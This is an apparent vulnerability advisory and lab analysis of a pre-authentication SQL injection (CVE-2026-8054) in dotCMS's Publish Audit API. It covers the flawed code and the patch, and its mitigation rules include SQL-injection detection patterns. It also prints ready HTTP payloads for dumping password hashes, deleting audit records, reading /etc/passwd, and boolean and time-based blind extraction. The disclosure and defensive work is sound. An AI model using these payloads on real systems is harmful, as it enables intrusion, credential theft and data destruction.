
Injection SQL pré-authentification dotCMS
CVE-2026-8054 est une vulnérabilité d'injection SQL (SQL Injection) à haut risque, sans authentification, accessible publiquement (Pre-auth SQL Injection) présente dans l'API Publish Audit de dotCMS Core. Elle est officiellement suivie comme incident de sécurité SI-75 et a été officiellement collectée et divulguée à la fin du mois de mai 2026. Étant donné qu'un attaquant peut la déclencher à distance sans aucun privilège de compte, son danger potentiel est très grave.
| Propriété | Valeur |
|---|
| Identifiant CVE | CVE-2026-8054 |
| Suivi officiel | SI-75 |
| Type de vulnérabilité | Injection SQL (CWE-89) |
| Composant affecté | dotCMS Core - API Publish Audit |
| Score CVSS | 10.0 (Critique) |
| Versions affectées | 25.11.04-1 à 26.04.28-02 |
| Version corrigée | 26.04.28-03 |
| Vecteur d'attaque | Injection SQL à distance non authentifiée (Pre-auth) |
| Privilèges requis | Aucune authentification |
| Interaction utilisateur | Aucune |
| Impact sur les versions LTS | Non affecté (la branche du code d'audit n'a pas été rétroportée dans l'arborescence LTS) |
La vulnérabilité existe dans les deux interfaces REST /api/auditPublishing/get et /api/auditPublishing/getAll. Lorsque ces interfaces reçoivent les paramètres de requête saisis par le client, aucun filtrage ni liaison paramétrée n'est effectué ; les requêtes SQL sont directement construites dynamiquement par concaténation de chaînes de caractères.
Plus critique encore, dotCMS a complètement omis les contrôles d'authentification et d'autorisation sur ces interfaces backend sensibles liées à l'audit. Cela signifie que tout attaquant distant sans identifiants, pourvu qu'il puisse accéder au système via le réseau, peut directement envoyer des requêtes HTTP contenant des payloads malveillants à ces interfaces.
Chemin du fichier : dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java
La vulnérabilité existe dans deux points de terminaison de l'API REST :
GET /api/auditPublishing/get/{bundleId} - Récupère le statut d'audit d'une publication individuellePOST /api/auditPublishing/getAll - Récupère en masse les statuts d'audit de publicationProblème clé : avant le correctif, ces deux points de terminaison ne nécessitaient aucune authentification ; tout utilisateur anonyme pouvait y accéder directement.
@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {
@POST
@Path("/getAll")
@Produces(MediaType.APPLICATION_JSON)
public Response getAll(List<String> bundleIds) {
// 【漏洞点】没有认证检查!直接调用后端API
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
// ...
}
}
}
Chemin du fichier : dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java
Méthode : getPublishAuditStatuses(List<String> bundleIds) (lignes 224-245)
@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
throws DotPublisherException {
try {
final List<PublishAuditStatus> result = new ArrayList<>();
DotConnect dc = new DotConnect();
// 【漏洞点1】直接将用户输入拼接到SQL语句中
// 仅添加单引号包裹,没有任何参数化或转义处理
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'") // 危险: 字符串拼接
.collect(Collectors.toList());
// 【漏洞点2】使用String.format构造SQL,用户输入被直接嵌入
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
String.join(",", parameter)));
List<Map<String, Object>> items = dc.loadObjectResults();
for(Map<String, Object> item: items) {
result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
}
return result;
} catch(Exception e) {
Logger.debug(PublisherUtil.class, e.getMessage(), e);
throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
}
}
Constante SQL (SELECT_ALL_BY_BUNDLES_IDS):
SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)
graph LR
subgraph 外部攻击者
A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
end
subgraph Application Layer
B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
C -->|调用| D[PublishAuditAPI]
D -->|调用| E[PublishAuditAPIImpl]
E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
F -->|拼接参数| G[SQL构造<br/>String.format]
end
subgraph Technology Layer
G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
H -->|执行| I[SQL执行]
I -->|执行注入SQL| J[PostgreSQL/MySQL]
end
subgraph 漏洞点
K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
end
style A fill:#ff6b6b,stroke:#333,color:#fff
style K fill:#ff6b6b,stroke:#333,color:#fff
style L fill:#ff6b6b,stroke:#333,color:#fff
style J fill:#ffa94d,stroke:#333Propagation des données contaminées : entrée utilisateur → API REST → traitement backend → construction SQL → exécution en base de données Défauts critiques : absence d'authentification + absence de paramétrage = injection SQL entièrement contrôlable
Supposons une entrée utilisateur bundleIds = ["x' OR '1'='1"]
SQL normal :
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')
SQL après injection :
SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')
Comme '1'='1' est toujours vrai, cette requête renvoie tous les enregistrements de la table.
graph TD
subgraph 输入对比
A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
end
subgraph 数据库执行
B -->|执行| E[数据库]
D -->|执行| E
end
subgraph 结果对比
E -->|返回| F[正常结果<br/>1条记录]
E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
end
style C fill:#ff6b6b,stroke:#333,color:#fff
style G fill:#ff6b6b,stroke:#333,color:#fff
style D fill:#ff6b6b,stroke:#333,color:#fff
note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]Un attaquant qui exploite avec succès cette vulnérabilité peut exécuter des commandes SQL arbitraires dans le contexte de l'utilisateur système de la base de données, entraînant les conséquences graves suivantes :
graph TD
subgraph 攻击影响分析
subgraph 数据机密性
A[管理员密码哈希]
B[用户凭证]
C[重置Token]
D[系统配置]
end
subgraph 数据完整性
E[网站内容]
F[用户角色权限]
G[审计日志]
end
subgraph 系统可用性
H[DROP TABLE]
I[DELETE数据]
J[UPDATE数据]
end
subgraph 权限提升
K[管理员接管]
L[文件系统读写]
M[远程代码执行]
end
end
N[SQL注入漏洞] -->|泄露| A
N -->|泄露| B
N -->|泄露| C
N -->|篡改| E
N -->|篡改| F
N -->|执行| H
N -->|实现| K
N -->|实现| L
O[CVSS 10.0 Critical] -.->|评估| N
style N fill:#ff6b6b,stroke:#333,color:#fff
style O fill:#ff6b6b,stroke:#333,color:#fffGrâce à l'injection SQL, un attaquant peut extraire les tables critiques de la base de données et obtenir :
Exemple de payload d'attaque - Récupération du mot de passe administrateur :
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]
Un attaquant peut modifier, insérer ou supprimer arbitrairement dans la base de données :
Exemple de payload d'attaque - Suppression des enregistrements d'audit :
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x'; DELETE FROM publishing_queue_audit; --"]
Selon le type de base de données connectée en backend (PostgreSQL, MySQL, etc.) et les privilèges configurés, un attaquant peut, via le point d'injection, aller plus loin et réaliser :
Exemple de payload d'attaque - Lecture de fichiers PostgreSQL :
POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json
["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]
| Dimension | Évaluation |
|---|---|
| Vecteur d'attaque | Réseau distant (Network) |
| Complexité de l'attaque | Faible (Low) |
| Conditions préalables | Aucune (None) |
| Interaction utilisateur | Aucune (None) |
| Portée de l'impact | Modifiée (Changed) |
| Impact sur la confidentialité | Élevé (High) |
| Impact sur l'intégrité | Élevé (High) |
| Impact sur la disponibilité | Élevé (High) |
graph TB
subgraph Docker环境架构
subgraph docker-compose
A[dotcms-vuln<br/>dotcms:25.11.04-1]
B[dotcms-db<br/>postgres:15]
C[dotcms-es<br/>elasticsearch:7.17]
end
D[dotcms-net<br/>bridge网络]
E[HTTP :8080]
F[HTTPS :8443]
G[PostgreSQL :5432]
H[Elasticsearch :9200]
end
A -->|暴露| E
A -->|暴露| F
B -->|暴露| G
C -->|暴露| H
A -->|连接数据库| B
A -->|连接搜索引擎| C
D --- A
D --- B
D --- C
style A fill:#51cf66,stroke:#333
style B fill:#51cf66,stroke:#333
style C fill:#51cf66,stroke:#333
note1[漏洞版本: 25.11.04-1<br/>初始密码: admin<br/>端口: 8080, 8443]Mise en place de l'environnement vulnérable avec Docker Compose :
docker-compose.yml :
services:
dotcms:
build: .
container_name: dotcms-vuln
ports:
- "8080:8080"
- "8443:8443"
environment:
- DOT_INITIAL_ADMIN_PASSWORD=admin
- DOT_DOTCMS_URL=http://localhost:8080
- DOT_DB_HOST=dotcms-db
- DOT_DB_PORT=5432
- DOT_DB_NAME=dotcms
- DOT_DB_USERNAME=dotcms
- DOT_DB_PASSWORD=dotcms
- DOT_DB_BASE_URL=jdbc:postgresql://dotcms-db:5432/dotcms
- DOT_DB_DRIVER=org.postgresql.Driver
- DOT_ES_ENDPOINTS=http://dotcms-es:9200
- DOT_ES_HOSTNAME=dotcms-es
depends_on:
dotcms-db:
condition: service_healthy
dotcms-es:
condition: service_started
dotcms-db:
image: postgres:15
environment:
- POSTGRES_DB=dotcms
- POSTGRES_USER=dotcms
- POSTGRES_PASSWORD=dotcms
healthcheck:
test: ["CMD-SHELL", "pg_isready -U dotcms"]
interval: 5s
timeout: 5s
retries: 20
dotcms-es:
image: elasticsearch:7.17.24
environment:
- discovery.type=single-node
- xpack.security.enabled=false
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
Dockerfile :
FROM dotcms/dotcms:25.11.04-1
Commande de démarrage :
docker compose up -d
# 等待dotCMS初始化完成(约2-3分钟)
# 检查状态: docker compose logs -f dotcms
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 11
["test-id"]
Réponse : 200 OK, renvoie un tableau vide [], prouvant que le point de terminaison est accessible sans authentification.
Principe de l'injection aveugle booléenne : déterminer si la condition d'injection est vraie ou fausse en observant les différences dans les codes de statut des réponses HTTP.
graph TD
subgraph 布尔盲注流程
A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
B -->|真条件| C["真条件 and 1=1"]
B -->|假条件| D["假条件 and 1=2"]
C -->|返回数据| E["404 Not Found 有数据 NPE"]
D -->|不返回数据| F["200 OK + 空数组 无数据正常"]
E -->|分析| G["分析响应"]
F -->|分析| G
G -->|推断条件真假| H["结论推断"]
end
style C fill:#51cf66,stroke:#333
style D fill:#ff6b6b,stroke:#333,color:#fff
style E fill:#ff6b6b,stroke:#333,color:#fff
style F fill:#51cf66,stroke:#333
note1["Payload: real-bundle-1 and 1=1 响应: 404 NPE异常 结论: 条件为真"]
note2["Payload: real-bundle-1 and 1=2 响应: 200 + 空数组 结论: 条件为假"]Test de condition vraie (and 1=1) :
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=1--'"]
Réponse : 404 Not Found
Test de condition fausse (and 1=2) :
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["real-bundle-1') and 1=2--'"]
Réponse : 200 OK, renvoie []
Analyse de l'exécution SQL :
-- 真条件: bundle_id匹配 且 1=1为真 -> 返回数据 -> 代码处理NPE -> 404
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=1--'')
-- 假条件: bundle_id匹配 但 1=2为假 -> 不返回数据 -> 空结果正常处理 -> 200
select * from publishing_queue_audit where bundle_id in ('real-bundle-1') and 1=2--'')
Principe de la différence de réponse :
| Condition | Résultat SQL | Comportement du code | Réponse HTTP |
|---|---|---|---|
and 1=1 (vrai) | Renvoie les enregistrements correspondants | turnIntoPublishAuditStatus() lève une NullPointerException lors du traitement des données | 404 |
and 1=2 (faux) | Ne renvoie aucun enregistrement | La liste vide est retournée normalement | 200 + [] |
Conclusion : via la différence de réponse 404/200, un attaquant peut déduire bit par bit toute information de la base de données (noms de tables, valeurs de champs, hash de mots de passe, etc.).
Principe de l'injection aveugle temporelle : déterminer si la condition d'injection est vraie ou fausse en observant les différences de temps de réponse.
graph TD
subgraph 时间盲注流程
A["发送请求"] -->|发送payload| B["/api/auditPublishing/getAll"]
B -->|传递| C["延时Payload SELECT pg_sleep N"]
C -->|执行SQL| D["PostgreSQL"]
D -->|调用| E["pg_sleep N 延时执行"]
E -->|延时N秒| F["测量响应时间"]
F -->|对比基线| G["分析延时差异"]
G -->|推断条件真假| H["结论推断"]
end
style C fill:#51cf66,stroke:#333
style E fill:#51cf66,stroke:#333
note1["Payload: x and SELECT pg_sleep 3 text=t 正常响应: 0.03秒 延时响应: 3.02秒 结论: pg_sleep执行成功"]Test de délai de 3 secondes :
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(3))::text='t'--'"]

Réponse : 200 OK, durée 3.02 secondes
Test de délai de 5 secondes :
POST /api/auditPublishing/getAll HTTP/1.1
Host: localhost:8080
Content-Type: application/json
["x') and (SELECT pg_sleep(5))::text='t'--'"]
Réponse : 200 OK, durée 5.01 secondes
Analyse de l'exécution SQL :
select * from publishing_queue_audit where bundle_id in ('x') and (SELECT pg_sleep(3))::text='t'--'')
Comparaison des temps de réponse :
| Payload | Délai attendu | Durée réelle | Résultat |
|---|---|---|---|
| Requête normale | 0 seconde | 0.03 seconde | ✅ |
| pg_sleep(3) | 3 secondes | 3.02 secondes | ✅ Délai réussi |
| pg_sleep(5) | 5 secondes | 5.01 secondes | ✅ Délai réussi |
Conclusion : en contrôlant le délai de réponse, un attaquant peut déduire bit par bit des informations de la base de données dans un scénario sans sortie directe (aveugle).
graph TD
subgraph 修复方案
subgraph 代码修复
A[参数化查询<br/>使用占位符]
B[认证增强<br/>Push Publish Token]
C[输入验证<br/>null/空检查]
end
subgraph 修复效果
D[防止SQL注入]
E[限制未授权访问]
F[防止空指针异常]
end
G[PR #35553]
H[修复版本<br/>26.04.28-03]
end
G -->|实现| A
G -->|实现| B
G -->|实现| C
A -->|参数绑定| D
B -->|强制认证| E
C -->|空值处理| F
H -->|包含| G
style G fill:#51cf66,stroke:#333
style H fill:#51cf66,stroke:#333
note1[修复前: String.format拼接<br/>修复后: dc.addParam参数绑定]Avant le correctif (code vulnérable) :
final List<String> parameter = bundleIds.stream()
.map(id -> "'" + id + "'")
.collect(Collectors.toList());
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, String.join(",", parameter)));
Après le correctif (code sécurisé) :
// 新增: 空值检查
if (bundleIds == null || bundleIds.isEmpty()) {
return Collections.emptyList();
}
// 使用参数化查询占位符
final String placeholders = bundleIds.stream()
.map(id -> "?")
.collect(Collectors.joining(","));
dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS, placeholders));
bundleIds.forEach(dc::addParam); // 参数绑定,防止SQL注入
Avant le correctif :
public Response getAll(List<String> bundleIds) {
// 无认证检查
try {
final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
Après le correctif :
public Response getAll(final List<String> bundleIds,
@Context final HttpServletRequest request) {
// 新增: Push Publish Token认证检查
final AuthCredentialPushPublishUtil.PushPublishAuthenticationToken ppAuthToken =
AuthCredentialPushPublishUtil.INSTANCE.processAuthHeader(request);
final Optional<Response> failResponse = PushPublishResourceUtil.getFailResponse(request, ppAuthToken);
if (failResponse.isPresent()) {
return failResponse.get(); // 返回401 Unauthorized
}
// ...
}
| Mesure corrective | Description |
|---|---|
| Requête paramétrée | Utilisation de marqueurs ? à la place de la concaténation de chaînes ; la base de données gère automatiquement l'échappement des paramètres, ce qui empêche fondamentalement l'injection SQL |
| Renforcement de l'authentification | Exige que les requêtes contiennent un jeton Push Publish valide, limitant l'accès aux seuls utilisateurs backend connectés disposant de la permission du composant publishing-queue |
| Validation des entrées | Ajout de contrôles null et de liste vide pour empêcher les exceptions de pointeur nul |
Si vous ne pouvez pas mettre à niveau immédiatement vers la version corrigée, vous pouvez appliquer les mesures d'atténuation temporaires suivantes :
graph TD
subgraph 防护措施
subgraph 网络层
A[WAF规则拦截<br/>阻止/api/auditPublishing/]
B[防火墙限制<br/>仅允许内网访问]
end
subgraph 应用层
C[Nginx防护规则<br/>location拦截]
D[ModSecurity规则<br/>SQL注入检测]
end
subgraph 数据层
E[数据库权限限制<br/>最小权限原则]
F[限制高危函数<br/>pg_read_file等]
end
G[升级到26.04.28-03<br/>根本解决方案]
end
A -.->|临时替代| G
B -.->|临时替代| G
C -.->|临时替代| G
E -.->|降低影响| G
style G fill:#51cf66,stroke:#333
style A fill:#ffd43b,stroke:#333
style B fill:#ffd43b,stroke:#333
style C fill:#ffd43b,stroke:#333
style D fill:#ffd43b,stroke:#333
note1[优先级: P0 - 立即升级<br/>其他措施为临时缓解方案]Configurez des politiques de contrôle d'accès sur le pare-feu applicatif (WAF) ou le proxy inverse afin de bloquer ou refuser directement les requêtes du réseau externe vers les chemins /api/auditPublishing/get et /api/auditPublishing/getAll.
# /etc/nginx/conf.d/dotcms-security.conf
# 拦截 Publish Audit API 请求
location ~ ^/api/auditPublishing/(get|getAll) {
# 返回403禁止访问
return 403 "Forbidden: Endpoint blocked for security reasons";
add_header Content-Type text/plain;
}
# 或者使用更宽松的方式,仅允许内网访问
location ~ ^/api/auditPublishing/(get|getAll) {
# 允许内网IP段
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
# 拒绝其他所有来源
deny all;
}
# 针对SQL注入特征的WAF规则
location / {
# 检测常见的SQL注入特征
if ($request_uri ~* "(union|select|insert|update|delete|drop|--)") {
return 403;
}
# 检测单引号注入
if ($request_uri ~* "'") {
return 403;
}
proxy_pass http://dotcms_backend;
}
# /etc/modsecurity/rules/dotcms-cve-2026-8054.conf
# 规则1: 拦截对漏洞端点的访问
SecRule REQUEST_URI "@rx /api/auditPublishing/(get|getAll)" \
"id:2026805401,phase:1,deny,status:403,msg:'CVE-2026-8054: Blocked access to vulnerable dotCMS endpoint'"
# 规则2: 检测SQL注入特征
SecRule REQUEST_BODY "@rx (?i:(union|select|insert|update|delete|drop|exec|--)".*?(from|into|table))" \
"id:2026805402,phase:2,deny,status:403,msg:'CVE-2026-8054: SQL Injection attempt detected'"
Assurez-vous que le compte utilisé par dotCMS pour se connecter à la base de données respecte le principe des moindres privilèges :
-- PostgreSQL 权限限制示例
-- 创建受限用户
CREATE USER dotcms_restricted WITH PASSWORD 'secure_password';
-- 仅授予必要的表权限
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO dotcms_restricted;
-- 禁止创建/删除表
REVOKE CREATE ON SCHEMA public FROM dotcms_restricted;
-- 禁止执行系统命令
REVOKE ALL ON FUNCTION pg_exec FROM dotcms_restricted;
-- 禁止读取文件
REVOKE ALL ON FUNCTION pg_read_file FROM dotcms_restricted;
# 使用iptables限制对API端口的访问
# 仅允许内网访问8080端口
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 172.16.0.0/12 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -s 192.168.0.0/16 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
graph TD
subgraph 漏洞总结
subgraph 根因分析
A[缺乏输入验证<br/>用户输入直接拼接SQL]
B[缺乏认证<br/>API无需认证即可访问]
C[缺乏参数化<br/>字符串拼接而非参数查询]
end
subgraph CVSS评估
D[CVSS 10.0<br/>Critical]
E[网络远程]
F[低复杂度]
G[无需认证]
end
subgraph 修复建议
H[P0: 立即升级<br/>26.04.28-03]
I[P1: WAF拦截<br/>临时缓解]
J[P2: 数据库权限<br/>降低影响]
end
end
A -->|导致| D
B -->|导致| D
C -->|导致| D
H -->|解决| A
H -->|解决| B
H -->|解决| C
I -.->|临时替代| H
J -.->|降低风险| H
style D fill:#ff6b6b,stroke:#333,color:#fff
style H fill:#51cf66,stroke:#333
note1[攻击向量: Network<br/>攻击复杂度: Low<br/>权限要求: None<br/>用户交互: None]
| Priorité | Mesure | Description |
|---|---|---|
| P0 - Immédiat | Mettre à niveau vers dotCMS 26.04.28-03 ou une version ultérieure | Version officielle corrigée, résout le problème à la source |
| P1 - Urgent | Configurer des règles WAF pour bloquer | Mesure d'atténuation temporaire, bloque le trafic d'attaque |
| P2 - Important | Restreindre les privilèges de la base de données | Réduit la portée de l'impact après exploitation |
| P3 - Recommandé | Audit de sécurité des autres points de terminaison | Vérifier l'existence de problèmes similaires |
Les responsables indiquent que les versions LTS (support à long terme) ne sont pas affectées, car la branche du code d'audit concernée n'a jamais été rétroportée (backportée) dans l'arborescence LTS. Les utilisateurs des versions LTS n'ont pas besoin de mise à niveau urgente.
Date de génération du rapport : 2026-06-08 Outils d'analyse : Docker, curl, PostgreSQL Version vulnérable : dotCMS 25.11.04-1 Version corrigée : dotCMS 26.04.28-03 (PR #35553)